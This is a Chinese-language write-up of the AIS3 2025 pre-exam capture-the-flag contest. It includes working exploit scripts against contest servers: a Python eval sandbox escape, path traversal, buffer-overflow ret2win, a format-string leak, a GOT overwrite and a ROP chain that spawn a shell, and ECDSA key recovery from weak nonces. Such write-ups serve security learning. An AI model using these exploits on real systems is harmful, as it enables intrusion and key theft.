Last updated on 2025-06-30 15:04:26 +08:00
名次 AIS3 Pre-exam
心得 我是垃圾,我把自己出賣給AI了 對不起,我沒去打MyGO schedule manager β
Misc Welcome
AIS3{Welcome_And_Enjoy_The_CTF_!}
Ramen CTF
題目
這題的關鍵是”發票”
發票上有只缺了最後一個數字的賣家統編,通靈一下就可以得到是34785923 用這個賣家統編去查就可以找到相關資訊
用營業(稅籍)登記地址在Google Maps找到的店家名稱是”樂山溫泉拉麵”
至於點的餐點是哪個,直接掃描發票上的QRCode,會掃描出一段文字,其中有”蝦拉”兩字
對應到菜單上就是”蝦拉麵”(圖片右下角)
AIS3{樂山溫泉拉麵:蝦拉麵}
AIS3 Tiny Server - Web / Misc
網站開起來是這樣
看來是直接Serve static file的網站
而且可以在Path用../達到Path Traversal(/用%2f代替)
讀取Flag
AIS3{tInY_WeB_s3RVER_Wi7H_FIl3_8ROWs1n9_@5_@_feaTUr3}
nocall 🈲📞
server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import unicodedataprint (open (__file__).read()) expr = unicodedata.normalize("NFKC" , input ("> " ))if "._" in expr: raise NameError("no __ %r" % expr)if "breakpoint" in expr: raise NameError("no breakpoint %r" % expr)if any ([x in "([ ])" for x in expr]): raise NameError("no ([ ]) %r" % expr) result = eval (expr)print (result)
Blacklists:
禁用了小括號,沒辦法直接call function,但是Ln18會把eval跑之後的結果存入result,在Ln19print(result) 如果能把print變成eval,同時eval回傳、存入result的是__import__('os').system('cat /flag*'),就可以打掉這題
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *def conv (s ): return '' .join("\\x%2x" %ord (c) for c in s) r = remote("chals1.ais3.org" , 15451 ) payload = conv("__import__('os').system('cat /flag*')" ) payload = "{print:=eval}and\"%s\"" %payloadprint (payload) r.sendlineafter(b"> " , payload.encode()) r.interactive()
Payload攤開是長這樣
1 {print :=eval }and "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x2a\x27\x29"
and的左邊是一個set({1, 2, 3}這樣是個set),在這個set中使用海象運算符:=,把print賦值eval,這樣 server.py Ln19表面上是執行print(result),其實是變成eval(result)and的右邊就是要執行的命令,以\x??的形式輸入,這樣才不會被Ban 而中間用and,可以確保兩邊都被執行到(兩邊都需要執行過,知道值,才能把兩邊的值拿來and,而or不一樣,如果一邊對or已經是真,另一邊就不會執行),且最後回傳我的command
ㄟ幹但我不會Revenge
AIS3{you_can_overwrite_builtins_to_call_without_()}
Web 我大退步
Tomorin db 🐧
網站後端會serve/app/Tomorin底下的檔案,目標是/app/Tomorin/flag 但是後端有一個route/flag,如果直接打http://chals1.ais3.org:30000/flag會匹配到這個route,堇姬會讓Redirect你去看Ave Mujica
可以用http://chals1.ais3.org:30000/%2fflag 到後端的時候,這個Path會匹配不到route/flag,然後匹配/,serve static file,就可以拿到Flag了
ChatGPT拿了MVP
AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}
Reverse AIS3 Tiny Server - Reverse
decompile之後一個一個函式點開(對,真的),在0x11e20摸到了一個長比較奇怪的,一臉Flag Checker樣(真的,別不信,我直覺這就是Flag Checker)
就是有兩個陣列_flag跟local_49,兩個迴圈都有各自的初始值,產生flag的過程簡化來說就是這樣,最後flag會被存在_flag
1 2 for i in range (0 , 0x2d , 1 ): _flag = _flag[i] ^ local_49[i % 10 ]
下面這邊就是把輸入的flag跟上面產生的_flag比對,反正不重要
工人智慧之後寫出解題腳本 exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 def flag_checker (flag:str ): local_49 = [0 ] * 11 _flag = [0 ]*46 bVar5 = 0x33 _flag[0x2c ] = 0x14 _flag[0x2d ] = 0 bVar1 = 0x72 _flag[0 ] = 0x33 _flag[1 ] = 0x20 _flag[2 ] = 0x38 _flag[3 ] = 0x58 _flag[4 ] = 0x12 _flag[5 ] = 0x28 _flag[6 ] = 0x5c _flag[7 ] = 0x47 _flag[8 ] = 0x29 _flag[9 ] = 0x52 _flag[10 ] = 0x2d _flag[0xb ] = 0xf _flag[0xc ] = 0x5a _flag[0xd ] = 10 _flag[0xe ] = 0xe _flag[0xf ] = 0 _flag[0x10 ] = 0xf _flag[0x11 ] = 0x58 _flag[0x12 ] = 0x13 _flag[0x13 ] = 0x50 _flag[0x14 ] = 0x19 _flag[0x15 ] = 0x5a _flag[0x16 ] = 0x19 _flag[0x17 ] = 0x34 _flag[0x18 ] = 0x58 _flag[0x19 ] = 0x31 _flag[0x1a ] = 0x33 _flag[0x1b ] = 0x43 _flag[0x1c ] = 0x13 _flag[0x1d ] = 0x41 _flag[0x1e ] = 4 _flag[0x1f ] = 0x5a _flag[0x20 ] = 0x19 _flag[0x21 ] = 0x34 _flag[0x22 ] = 0x58 _flag[0x23 ] = 0x2c _flag[0x24 ] = 0x33 _flag[0x25 ] = 0x53 _flag[0x26 ] = 0x46 _flag[0x27 ] = 3 _flag[0x28 ] = 0x1e _flag[0x29 ] = 0x48 _flag[0x2a ] = 0x4a _flag[0x2b ] = 0x4a local_49[0 ] = 0x72 local_49[1 ] = 0x69 local_49[2 ] = 0x6b local_49[3 ] = 0x6b local_49[4 ] = 0x69 local_49[5 ] = 0x5f local_49[6 ] = 0x6c local_49[7 ] = 0x30 local_49[8 ] = 0x76 local_49[9 ] = 0x33 uVar3 = 0 while (True ): _flag[uVar3] = bVar1 ^ bVar5 uVar4 = uVar3 + 1 if (uVar4 == 0x2d ): break bVar5 = _flag[uVar3 + 1 ] bVar1 = local_49[uVar4 % 10 ] uVar3 = uVar4 print ("" .join(list (map (chr , _flag)))) flag_checker("" )
不過解題腳本就是我直接把Ghidra decompile的東西貼到Python裡改一改
AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}
web flag checker
一個Flag Checker,最主要目標是index.wasm
把這個index.wasm丟到(有裝wasm plugin的)Ghidra,可以看到export中有一個flagchecker
decompile 可以看到有個迴圈,把flag被以每8bytes一組,當做第一個參數丟進去unnamed_function_8,第二個參數是0xfd9ea72d >> (i * 6 & 0x1f) & 0x3f,而函式的回傳值跟local_40[i]比對
unnamed_function_8內其實就是做循環左移,然後回傳
所以只要把flag 8bytes一組循環右移回去就可以解題了
工人智慧腳本 exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def function8 (payload, a2 ): res = payload << (a2 & 0x3f ) | payload >> ((0x40 - a2) ^ 0x3f ) return res & 0xffffffffffffffff def ror (x, n ): return ((x >> n) | (x << (64 - n))) & 0xFFFFFFFFFFFFFFFF local_40 = [0 ] * 5 local_40[0 ] = 0x69282a668aef666a local_40[1 ] = 0x633525f4d7372337 local_40[2 ] = 0x9db9a5a0dcc5dd7d local_40[3 ] = 0x9833afafb8381a2f local_40[4 ] = 0x6fac8c8726464726 for i in range (5 ): res = ror(local_40[i], 0xfd9ea72d >> (i * 6 & 0x1f ) & 0x3f ) for _ in range (8 ): print (chr ((res>>_*8 )&0xff ), end='' )print ()
AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}
verysafe_image_encrypter
程式會把目錄下的input_image.png加密,輸出到encrypted_image.png 分析過程先用網路上隨便找的png圖片來用,最後解題再解密題目附的encrypted_image.png
有加殼,用的還是自製殼
在_start()中可以看到,程式跑過幾個function之後直接一個跳轉
在x64dbg中看這個跳轉跳去哪裡,跳到了0x4014c0
但這一大塊在原本的程式裡面都是空的,推測到這個跳轉的時候是已經解殼完成,跳轉到的是OEP
接著就是在x64dbg中把這個程式dump下來分析 可以找到程式本體的main在0x4018ea
原本的程式是沒有symbol的(圖片裡看到函式有名稱都是分析時命名的),而且還c++寫的,逆向起來很耗人 中間試了一堆機掰路,wp裡就直接講我最後的解法
用API Monitor看程式調用了哪些API,可以看到程式在解殼之後打開input_image.png並進行了多次的讀取,後面是把加密結果一次寫入encrypted_image.png
根據Call Stack,可以找到調用write的點是在0x485cce
追這個buffer是從哪裡來的,最後可以得到這樣一條路徑
1 2 3 4 0x40187f sub_40177d() -> buffer作為第二個參數,傳入0x47c0d0 0x47c145 sub_47c0d0() -> buffer作為第二個參數,傳入0x48e290 (這邊用的indirect call)0x48e319 sub_48e290() -> buffer作為第五個參數,傳入0x485c80 0x485cc9 sub_485c80() -> buffer作為第二個參數,傳入write
看到0x40187f sub_40177d(),buffer來自”傳入bufabout(這是我自己打的名字)作為第一個參數,呼叫sub_4315a4()“的回傳值
sub_4315a4()的作用基本上就是回傳dword bufabout+0x0 也就是說,buffer的指針就放在dword bufabout+0x0
bufabout是sub_40177d()的第二個參數 再往上追bufabout從哪來,可以看到是在0x40197e main()中,呼叫sub_40177d()把bufabout作為第二個參數傳入
而我們看到0x40197e main(),可以看到bufabout,第一次出現是在上面呼叫sub_401580作為第一個參數傳入,第二次出現是在上面呼叫sub_401520作為第一個參數傳入,最後呼叫sub_40177d就是寫入了
下兩個斷點,分別在呼叫sub_40177d()處(0x40197e),跟sub_485c80中呼叫write處(0x485cc9) 可以看到在呼叫sub_40177d()時,buffer中就已經是加密過的圖片資料 在呼叫write處資料也沒有改變,所以加密沒有發生在sub_40177d()中
後面就下斷點在main()中呼叫sub_401580()處,往後查發現在0x401965,傳入bufabout呼叫sub_401520()之前,bufabout中有buffer的指針,buffer裡面有input_image.png的資料
而在步過這個function之後,buffer內容就跟在encrypted_image.png中的一樣了,所以確定sub_401520()就是加密function
sub_401520()的加密方式其實就是把每一個byte xor 114之後+4 所以,把encrypted_image.png中每一個byte都-4之後xor 114就可以拿到原始檔案
exp.py
1 2 with open ("./encrypted_image.png" , "rb" ) as eif: with open ("./flag.png" , "wb" ) as sf: sf.write(bytes ([((i-4 )%256 ) ^ 114 for i in eif.read()]))
input_image.png
AIS3{rwx_53gm3nttt_s0_5AS}
Pwn Welcome to the World of Ave Mujica🌙
0x4014ac處,有一個read,從stdin讀取輸入到stack上的bufread的size是rax_9(型別 char aka int8_t),而rax_9來自0x40147d呼叫read_int8()的回傳值
read_int8(),使用read讀取4個字輸入到var_10中,然後用atoi()轉成整數型別,把結果存入int32_t rax中,如果rax <= 0x7f就回傳rax,否則直接exit()結束整個程式 但rax的型別是int32_t(有符號32位整數),而read的size參數型別是size_t,如果輸入-1,轉成int32_t就也會是-1,-1 <= 0x7f就可以通過檢查 return之後回傳值存入main()的rax_9,變成-1(char aka int8_t),但傳入read時因為size型別是size_t,-1會變成0xff,就可以獲取一個buffer overflow
程式裡面就有win function可以用,buffer overflow直接打一波ret2win(ret2func)就解決
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * r = remote("chals1.ais3.org" , 60876 ) r.recvlines(9 ) r.sendline(b"yes" ) r.sendlineafter(b": " , b"-1" ) r.sendlineafter(b": " , b"a" *(8 *21 )+p64(0x40125a )) r.interactive()
AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._962ed0da8cc268db91ab18d21c20320a}
Ln24Ln27: 開啟/home/chal/flag.txt並將內容讀到stack上的bufferv12 Ln28Ln30: 讀取輸入15 bytes到bufferv7 Ln31: 把v7丟到check_format()中 Ln35~Ln41: 合成字串"%3$" + v7 + "d\n"到v8,最後print(v8) v8直接被作為format,有了打format string attack的機會
但看到check_format()內部,簡單講就是過濾傳入的字串(bufferv7),不能有英文字母跟空格
最後我構建的payload是^%?$(問號那邊改成數字),這樣合成出來的v8就會是"%3$" + "^%?$" + "d\n" = "%3$^%?$d\n"。 就是一種打injection的感覺,payload最前面的^是截斷的作用,後面構造一個新的format
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * flag = "" for i in range (20 , 60 ): r = remote("chals1.ais3.org" , 50960 ) r.sendlineafter(b"What format do you want ? " , (f"^%{i} $" ).encode()) r.recvuntil(b": %^" ) f = int (r.recvline().decode().strip(), 10 ) flag += chr (f) r.close() success(flag)
AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}
MyGO schedule manager α
checksec
1 2 3 4 5 6 7 8 9 [p23@fubukisocute share ]$ checksec chal [* ] '/home/p23/ctf/2025_ais3_preexam/dist-schedule-alpha-88389c8815258702516ef158e4a3e8c4b39d2a46/share/chal' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled
這題主要有四個操作可以用,分別是create schedule, edit title, edit content, show schedule
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int main () { init_proc(); int choice; int index; login(); while (1 ){ menu(); choice = get_choice(); if (choice == 1 ){ create(); } else if (choice == 2 ){ edit_title(); } else if (choice == 3 ){ edit_content(); } else if (choice == 4 ){ show(); } else { break ; } } return 0 ; }
struct schedule
1 2 3 4 struct schedule { char title[0x16 ]; std ::string content; };
在create()中,可以創建一個struct schedule,cin輸入到schedule->title(char array)跟schedule->content(std::string) 每次運行都只能創建一個schedule
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void create () { if (SCHEDULE_STATUS == 0 ){ sched = new(std ::nothrow) schedule; if (sched == nullptr) { puts ("[x] Memory allocation failed!" ); exit (0 ); } puts ("MyGO @ sched title > " ); std ::cin >> sched->title; puts ("MyGO @ sched content > " ); std ::cin >> sched->content; SCHEDULE_STATUS = 1 ; puts ("[!] Create Success !!!" ); } else { puts ("[x] Your schedule have been created" ); return ; } }
在edit_title()中,你可以cin輸入到已有的schedule的title,但是schedule->title是char array,這裡也沒有任何安全機制,會導致buffer overflow
1 2 3 4 5 6 7 8 9 10 void edit_title () { if (SCHEDULE_STATUS == 1 ){ puts ("MyGO @ sched title > " ); std ::cin >> sched->title; puts ("[!] Edit Success" ); } else { puts ("[x] Schdule Not Found ... " ); return ; } }
在edit_content()中,你可以cin輸入到已有的schedule的content,schedule->content是std::string,沒有buffer overflow但是這裡後面還有戲
1 2 3 4 5 6 7 8 9 10 void edit_content () { if (SCHEDULE_STATUS == 1 ){ puts ("MyGO @ sched content > " ); std ::cin >> sched->content; puts ("[!] Edit Success" ); } else { puts ("[x] Schdule Not Found ... " ); return ; } }
show就是把schedule的title跟content的內容都print出來
1 2 3 4 5 6 7 8 9 10 11 void show () { if (SCHEDULE_STATUS == 1 ){ printf ("===== Schedule =====\n" ); printf ("MyGO @ Title : %15s\n" , sched -> title); printf ("MyGO @ Content : %s\n" , sched -> content.c_str()); printf ("====================\n" ); } else { puts ("[x] Schdule Not Found ... " ); return ; } }
先看struct schedule在記憶體中的樣貌 可以看到,user data的前0x18 bytes都是schedule->title 而後面0x18 bytes是schedule->content,也就是一個std::string結構體,其中有一個可以理解成data pointer的成員(這個成員是個指針,會指向這個std::string存資料的地方),還有一個可以理解成data size的成員(這裡會紀錄這個std::string存了多少bytes的資料)
前面分析時得知edit_title()存在buffer overflow漏洞,如果用這個bof劫持schedule->content的data pointer,就可以達到任意讀寫
這題我的解題思路是這樣:
用edit_title()的buffer overflow劫持schedule->content的data pointer,改到程式本體的GOT上,用show()leak libc(因為scheduler->content的data pointer已經被改到GOT上,所以print出來的就會是GOT上的資料)
用edit_title()的buffer overflow劫持schedule->content的data pointer,改到libc 的strlen的GOT上,用edit_content()修改libc strlen的GOT,改成win function的address
後面puts內部呼叫strlen時,因為libc strlen的GOT已經被劫持、修改成win function address,最後就會變成呼叫win function進而get shell
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * r = remote("chals1.ais3.org" , 51000 )def choice (c ): r.sendlineafter(b"< MyGO @ ScheduleManager $ > " , str (c).encode())def create (title, content ): choice(1 ) r.recvline() r.sendline(title) r.recvline() r.sendline(content)def edit_title (title ): choice(2 ) r.recvline() r.sendline(title)def edit_content (content ): choice(3 ) r.recvline() r.sendline(content) r.sendlineafter(b"> " , b"MyGO!!!!!" ) r.sendlineafter(b"> " , b"TomorinIsCute" ) create(b"aaa" , b"b" *0x10 ) edit_title(b"a" *0x18 +p64(0x403f60 ) + p64(0x10 ) + p64(0x1e )) choice(4 ) r.recvlines(2 ) r.recvuntil(b"MyGO @ Content : " ) libc = u64(r.recv(6 ) + b"\x00\x00" ) - 0x815f0 success("libc -> %s" %hex (libc)) target = libc + 0x21a098 success("target -> %s" %hex (target)) edit_title(b"a" *0x18 +p64(target) + p64(0x10 ) + p64(0x1e )) edit_content(p64(0x4013ec )) r.interactive()
AIS3{MyGO!!!!!T0m0rin_1s_cut3@u_a2r_mAsr3r_0f_CP1usp1us_string_a2d_0verf10w!_alpha_v3r2on_have_br0ken...Go_p1ay_b3ta!}
Author ?????? RPG
checksec
1 2 3 4 5 6 7 8 9 10 [p23@fubukisocute dist-author-rpg-960b2ec8ee649ff4e0abf5a1afd8a7fb9f0d0bae ]$ checksec share/chal [* ] '/home/p23/ctf/2025_ais3_preexam/dist-author-rpg-960b2ec8ee649ff4e0abf5a1afd8a7fb9f0d0bae/share/chal' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
這題的第一個漏洞點,是在Ln40處,存在一個oob 對於輸入的rank(int)完全沒有檢查,讓使用者可以輸入一個大數字或是負數來達成oob
1 2 3 4 printf ("Competition Rank [1-100] > " );scanf ("%d" , &rank);printf ("Name [] > " ); read(0 , challenger[rank - 1 ], 0xf );
這題的第二個漏洞點,在kill_Curious()中,存在一個oob 對於indexkill_Curious_cnt沒有任何檢查,意思就是只要可以執行這個function夠多次就可以oob
1 2 3 4 5 6 7 8 void kill_Curious () { char worst_challenge[12 ][0x10 ] = {0 }; fprintf (stdout , "⚔️⚔️⚔️\n\n" ); fprintf (stdout , "Result : Curious has been killed by you.\n" ); fprintf (stdout , "Worst Challenge [] > " ); read(0 , &worst_challenge[kill_Curious_cnt], 0xf ); kill_Curious_cnt += 1 ; }
按照程式正常的流程,kill_Curious()只會被執行一次
不過我有以下思路:
用第一個漏洞,輸入負數的rank導致oob,竄改puts跟printf的GOT為kill_Curious(),這樣就能讓kill_Curious()被執行很多次,讓第二個漏洞可以被利用
執行夠多次kill_Curious()的時候,就會oob,worst_challenge是local variable,這個oob帶來的就會是可以竄改saved_rbp跟return address,這邊把saved_rbp放成competition的位址-0x8,把return address放一個leave ; ret,這樣執行兩次leave ; ret,rsp就可以被改到competition上
在程式一開始,要求向competition輸入的時候,就可以先佈置一些Gadget,這樣後面rsp跑到competition上,就可以打一波ROP
至於如何用ROP get shell:
呼叫read多寫一條ROP chain在competition的後面
呼叫read修改read的GOT的最後1byte,改成(&read+15)&0xff 這裡是注意到read+15就有一個syscall可以用,read跟read+15只有最後1byte有差別,而ASLR不會動下1.5bytes,改下去之後,call read()就會直接來到syscall,我們就算是有一個syscallgadget能用了
寫了1byte進去read的GOT之後,rax會變成1,此時syscall就會是SYS_write,所以rdi要改成1(stdout),rsi改成隨便一個有效位址,rdx改成0x3b,然後call read(),這樣就會寫入59bytes到stdout,rax也會是0x3b,變相完成了rax寄存器的設定
最後把rdi改成/bin/sh的位址,rsi跟rdx都改成0,呼叫read(),就可以執行SYS_execveget shell
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import * r = remote("chals1.ais3.org" , 50961 ) puts = 0x4010a0 read = 0x4010c0 read_got = 0x404010 fwrite_got = 0x404030 puts_plt = 0x0000000000401030 puts_got = 0x404000 kill_curious = 0x0000000000401207 competetion = 0x404080 pop_rdi = 0x4011fe pop_rsi = 0x401200 pop_rdx = 0x401202 rop2_adr = 0x404100 rop = p64(pop_rdi) + p64(0 ) + p64(pop_rsi) + p64(rop2_adr) + p64(pop_rdx) + p64(0x100 ) + p64(read) + p64(pop_rsi) + p64(read_got) + p64(pop_rdx) + p64(0x1 ) + p64(read) + p64(pop_rdi) + p64(1 ) + p64(pop_rdx) + p64(0x3b ) rop = rop[:-1 ] rop2 = p64(read) + p64(pop_rdi) + p64(0x4041f0 ) + p64(pop_rsi) + p64(0 ) + p64(pop_rdx) + p64(0 ) + p64(read) r.sendafter(b"> " , rop) r.sendlineafter(b"> " , b"-17" ) r.sendlineafter(b"> " , p64(kill_curious)*2 ) r.recvlines(6 )for i in range (9 ): r.sendlineafter(b"> " , b"aaa" ) r.sendline(b"1" )for i in range (2 ): r.sendlineafter(b"> " , b"aaa" ) r.sendafter(b"> " , (p64(competetion - 0x8 )+p64(0x4012d3 ))[:15 ]) rop2 = rop2 + b"\x00" *(0xf0 -len (rop2)) + b"/bin/sh\x00" r.sendline(rop2) raw_input() r.sendline(b"_" ) r.interactive()
AIS3{Curious_1$_v3rY_S@d_7h4T_y0U_w4n7_T0_k1lI_h!m_TT}
Crypto 我把靈魂賤賣給了AI
SlowECDSA
這裡用ECDSA簽名,但k是用LCG產生的 $k_{i+1} = (a \cdot k_i + c) \pmod{m}$ $m$ 是橢圓曲線的階order,$a$ 和 $c$ 是LCG的已知常數
$a = 1103515245$
$c = 12345$
m = order = sk.curve.generator.order()(對於 NIST192p 曲線,order = 6277101735386680763835789423207666416083908700390324961279)
獲取兩個由LCG連續產生的nonce $k_1$ 跟 $k_2$ 所對應的簽名,我們可建立一個關於私鑰 $d$ ,就可以建立一個關於私鑰 $d$ (sk.privkey.secret_multiplier) 的方程並解出它
ECDSA簽名 $(r, s)$ 的公式為: $s = k^{-1} (h + r \cdot d) \pmod{order}$ $h$ 是訊息的雜湊值,這裡可以改寫成 $k = s^{-1} (h + r \cdot d) \pmod{order}$
呼叫兩次get_example,就可以獲取同個訊息example_msg的兩個簽名 $(r_1, s_1)$ 跟 $(r_2, s_2)$ 。這兩個簽名分別使用了由LCG產生的連續nonce $k_1$ 跟 $k_2$,滿足 $k_2 = (a \cdot k_1 + c) \pmod{order}$
計算訊息的sha1並取模order $h_{ex} = \text{int.from_bytes(hashlib.sha1(b”example_msg”).digest(), ‘big’) % order}$
恢復私鑰 $d$
$k_1 \equiv s_1^{-1} (h_{ex} + r_1 \cdot d) \pmod{order}$
$k_2 \equiv s_2^{-1} (h_{ex} + r_2 \cdot d) \pmod{order}$
$k_2 \equiv (a \cdot k_1 + c) \pmod{order}$
把 (1) 跟 (2) 帶入 (3): $s_2^{-1} (h_{ex} + r_2 \cdot d) \equiv a \cdot [s_1^{-1} (h_{ex} + r_1 \cdot d)] + c \pmod{order}$
這個方程式是關於 $d$ 的線性方程式,整理之後: $d (s_2^{-1} r_2 - a s_1^{-1} r_1) \equiv h_{ex} (a s_1^{-1} - s_2^{-1}) + c \pmod{order}$
私鑰 $d$ 可計算如下 $\text{term_d_coeff} = (s_2^{-1} r_2 - a s_1^{-1} r_1) \pmod{order}
\text{term_const} = (h_{ex} (a s_1^{-1} - s_2^{-1}) + c) \pmod{order} d = (\text{term_const} \cdot \text{pow}(\text{term_d_coeff}, -1, \text{order})) \pmod{order}$
1 (注意:$s_1 ^{-1 }$ 和 $s_2 ^{-1 }$ 分別是 $s_ 1$ 和 $s_ 2$ 在模 `` order`` 下的模反元素)
為訊息give_me_flag偽造簽名 計算give_me_flag的sha1 $h_{flag} = \text{int.from_bytes(hashlib.sha1(b”give_me_flag”).digest(), ‘big’) % order}$
選擇一個隨機的 nonce $k_{forge}$ (一個介於 1 和 order-1 之間的隨機數)
計算橢圓曲線點 $R_{forge} = k_{forge} \cdot G$,其中 $G$ 是 NIST192p 曲線的生成點
$r_{forge} = R_{forge}.x() \pmod{order}$ (如果 $r_{forge} == 0$ ,則重新選擇 $k_{forge}$ 並重試)
$s_{forge} = (\text{pow}(k_{forge}, -1, \text{order}) \cdot (h_{flag} + r_{forge} \cdot d)) \pmod{order}$ (如果 $s_{forge} == 0$,則重新選擇 $k_{forge}$ 並重試)
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 import hashlibfrom ecdsa import NIST192p from ecdsa.util import number_to_string, string_to_numberimport os from pwn import * r = remote('chals1.ais3.org' , 19000 ) curve = NIST192p order = curve.order G = curve.generator a_lcg = 1103515245 c_lcg = 12345 def calculate_private_key (r1_hex, s1_hex, r2_hex, s2_hex ): """ 根據兩組連續簽名 (r1, s1) 和 (r2, s2) 來計算私鑰 d。 """ r1 = int (r1_hex, 16 ) s1 = int (s1_hex, 16 ) r2 = int (r2_hex, 16 ) s2 = int (s2_hex, 16 ) example_msg_bytes = b"example_msg" h_ex = int .from_bytes(hashlib.sha1(example_msg_bytes).digest(), 'big' ) % order inv_s1 = pow (s1, -1 , order) inv_s2 = pow (s2, -1 , order) term_d_coeff = (inv_s2 * r2 - a_lcg * inv_s1 * r1) % order term_const = (h_ex * (a_lcg * inv_s1 - inv_s2) + c_lcg) % order if term_d_coeff == 0 : raise ValueError("Coefficient of d is zero, cannot compute modular inverse. Attack may fail with these signatures." ) private_key_d = (term_const * pow (term_d_coeff, -1 , order)) % order return private_key_ddef forge_signature (private_key_d, message_bytes ): """ 使用已知的私鑰 d 為給定訊息偽造 ECDSA 簽名。 """ h_msg = int .from_bytes(hashlib.sha1(message_bytes).digest(), 'big' ) % order k_forge = 0 r_forge = 0 s_forge = 0 while r_forge == 0 or s_forge == 0 : k_forge_candidate = int .from_bytes(os.urandom(24 ), 'big' ) % order if k_forge_candidate == 0 : continue k_forge = k_forge_candidate R_forge_point = k_forge * G r_forge = R_forge_point.x() % order if r_forge == 0 : continue inv_k_forge = pow (k_forge, -1 , order) s_forge = (inv_k_forge * (h_msg + r_forge * private_key_d)) % order return h_msg, k_forge, r_forge, s_forgeif __name__ == "__main__" : print ("ECDSA LCG Nonce 攻擊腳本" ) print ("=" *40 ) print (f"使用曲線: {curve.name} " ) print (f"曲線階 (LCG 的模 m): {order} " ) print (f"LCG a: {a_lcg} " ) print (f"LCG c: {c_lcg} " ) print ("=" *40 ) print ("請提供從 'get_example' 獲取的兩組連續簽名:" ) r.recvlines(2 ) r.sendlineafter(b": " , b"get_example" ) r.recvline() r1_hex_input = r.recvline().decode().replace("r: " , "" ).strip() s1_hex_input = r.recvline().decode().replace("s: " , "" ).strip() r.sendlineafter(b": " , b"get_example" ) r.recvline() r2_hex_input = r.recvline().decode().replace("r: " , "" ).strip() s2_hex_input = r.recvline().decode().replace("s: " , "" ).strip() try : recovered_d = calculate_private_key(r1_hex_input, s1_hex_input, r2_hex_input, s2_hex_input) print ("\n--- 私鑰恢復結果 ---" ) print (f"恢復出的私鑰 d (十進制): {recovered_d} " ) print (f"恢復出的私鑰 d (十六進制): {hex (recovered_d)} " ) target_message_bytes = b"give_me_flag" print (f"\n--- 為訊息 '{target_message_bytes.decode()} ' 偽造簽名 ---" ) h_flag, k_chosen_for_forge, r_flag_forged, s_flag_forged = forge_signature(recovered_d, target_message_bytes) print (f"要簽名的訊息: \"{target_message_bytes.decode()} \"" ) print (f"訊息雜湊值 h_flag (十六進制): {hex (h_flag)} " ) print (f"本次簽名選擇的 k_forge (十六進制): {hex (k_chosen_for_forge)} " ) print (f"偽造的 r_flag (十六進制): {hex (r_flag_forged)} " ) print (f"偽造的 s_flag (十六進制): {hex (s_flag_forged)} " ) print ("\n--- 如何使用這些值 ---" ) print ("1. 連接到挑戰伺服器。" ) print ("2. 選擇 'verify' 選項。" ) print (f"3. 輸入訊息 (Enter message): {target_message_bytes.decode()} " ) print (f"4. 輸入 r (Enter r (hex)): {hex (r_flag_forged)} " ) print (f"5. 輸入 s (Enter s (hex)): {hex (s_flag_forged)} " ) print ("如果私鑰和計算都正確,您應該能成功獲取 FLAG。" ) r.sendlineafter(b": " , b"verify" ) r.sendlineafter(b": " , b"give_me_flag" ) r.sendlineafter(b": " , hex (r_flag_forged).encode()) r.sendlineafter(b": " , hex (s_flag_forged).encode()) r.interactive() except ValueError as e: print (f"\n錯誤: 輸入無效。請確保十六進制值正確。 ({e} )" ) r.close() except Exception as e: print (f"\n發生錯誤: {e} " ) print ("這可能是因為 (inv_s2 * r2 - a_lcg * inv_s1 * r1) % order 等於 0,導致其模反元素不存在。" ) print ("或者,您輸入的簽名值不正確。" ) r.close()
Gemini Pro是MVP!!
AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}